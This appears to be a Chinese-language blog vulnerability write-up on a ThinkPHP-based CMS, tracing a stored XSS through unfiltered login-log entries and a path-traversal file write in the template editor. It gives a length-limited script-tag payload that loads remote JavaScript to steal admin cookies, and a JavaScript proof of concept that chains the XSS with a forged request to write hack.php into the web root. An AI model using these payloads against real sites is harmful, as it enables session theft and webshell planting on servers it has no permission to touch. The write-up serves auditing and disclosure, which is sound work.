1.1 储存型XSS
问题在User.Class.php
//78 - 95 line public function login($identifier, $password) { if (empty($identifier) || empty($password)) { return false; } //验证 $userInfo = $this->getUserInfo($identifier, $password); if (false == $userInfo) { //记录登录日志 $this->record($identifier, $password, 0); return false; } //记录登录日志 $this->record($identifier, $password, 1); //注册或登录 $this->registerLogin($userInfo); return true; }
无论登录成功或失败都会将账户密码记录登录日志
往下看record()函数
//123 - 131 line private function record($identifier, $password, $status = 0) { //登录日志 D('Admin/Loginlog')->addLoginLogs(array( "username" => $identifier, "status" => $status, "password" => $status ? '密码保密' : $password, "info" => is_int($identifier) ? '用户ID登录' : '用户名登录', )); }
到这里没有发现任何对XSS攻击的过滤(注入比较菜,tp框架表示玩不出来)
再追踪一下addLoginLog()函数
namespace AdminModel; use CommonModelModel; //删除一月前的登录日志 class LoginlogModel extends Model { protected $_auto = array( array('logintime', 'time', 1, 'function'), array('loginip', 'get_client_ip', 3, 'function'), ); //删除一月前的登录日志 public function deleteAMonthago() { $status = $this->where(array("logintime" => array("lt", time() - (86400 * 30))))->delete(); return $status !== false ? true : false; } //添加登录日志 public function addLoginLogs($data) { $this->create($data); return $this->add() !== false ? true : false; } }
依然没有看到针对XSS的过滤,直接添加登录日志到数据库中
也就是说我们可以在后台登录处输入XSS代码,程序会以添加日志的形式存入数据库中,然后在管理员查看登录日志后就会触发XSS。
但是这里有一个小坑,就是只会读取前40位的字符。
但是我们打cookie的XSS代码都已经超过了40位字符,即使是换成短网址也超过了40位
string(57) “<script src=http://******.***/dKv7hK?1499932292></script>“
短网址:
string(41) “<script src=http://t.cn/RK*3rXr></script>“
虽然短网址只超过了一位,但是插入进去是这样的:
截取了W></script>导致代码无效。
但是这并不难绕过,直接去除掉http头部分仍然可以解析js。
string(35) “<sCrIpT/sRc=//***.**/x.js></sCrIpT>“
1.1 XSS+CSRF=Getshell
StyleController.class.php文件部分代码
public function add() { if (IS_POST) { //取得文件名 $file = pathinfo(I('post.file')); $file = $file['filename'] . C("TMPL_TEMPLATE_SUFFIX"); //模板内容 $content = Input::getVar(I('post.content', '', '')); //目录 $dir = TEMPLATE_PATH . I('post.dir', '', ''); $dir = str_replace(array("//"), array("/"), $dir); //检查目录是否存在 if (!file_exists($dir)) { $this->error("¸ÃĿ¼²»´æÔÚ£¡"); } //检测目录是否可写 if (!is_writable($dir)) { $this->error('Ŀ¼ ' . $dir . ' ²»¿Éд£¡'); } //完整新增文件路径 $filepath = $dir . $file; if (file_exists($filepath)) { $this->error("¸ÃÎļþÒѾ´æÔÚ£¡"); } //写入文件 $status = file_put_contents($filepath, htmlspecialchars_decode(stripslashes($content))); if ($status) {
无视乱码
80-81行
$dir = TEMPLATE_PATH . I('post.dir', '', ''); $filepath = $dir . $file;
$dir获取目录后直接拼接拼接路径然后写入文件,只验证了路径是否存在就直接带入创建文件函数中
$status =
file_put_contents($filepath,htmlspecialchars_decode(stripslashes($content)));
直接使用../../穿越目录
成功保存,这里还有任意文件读取和任意文件删除漏洞。不过没啥用,因为直接可以Getshell了。
配合之前的XSS,可以实现只要管理员访问了此页面,即可在本目录下生成hack.php
XSS POC:
var Shelldata='dir=Default%2F/../../../&file=hack.php&content='HACKER BY 4DMIN55'; try{ var xml = window.XMLHttpRequest ? (new XMLHttpRequest()) : (new ActiveXObject('Microsoft.XMLHTTP')); xml.open("POST",'/index.php?g=Template&m=Style&a=add',false); xml.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xml.onreadystatechange = function(){ if(xml.readyState == 4){} }; xml.send(Shelldata); } catch(e){}
创建项目:
访问localhost/hack.php,成功写入
文章作者: ADminSS
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论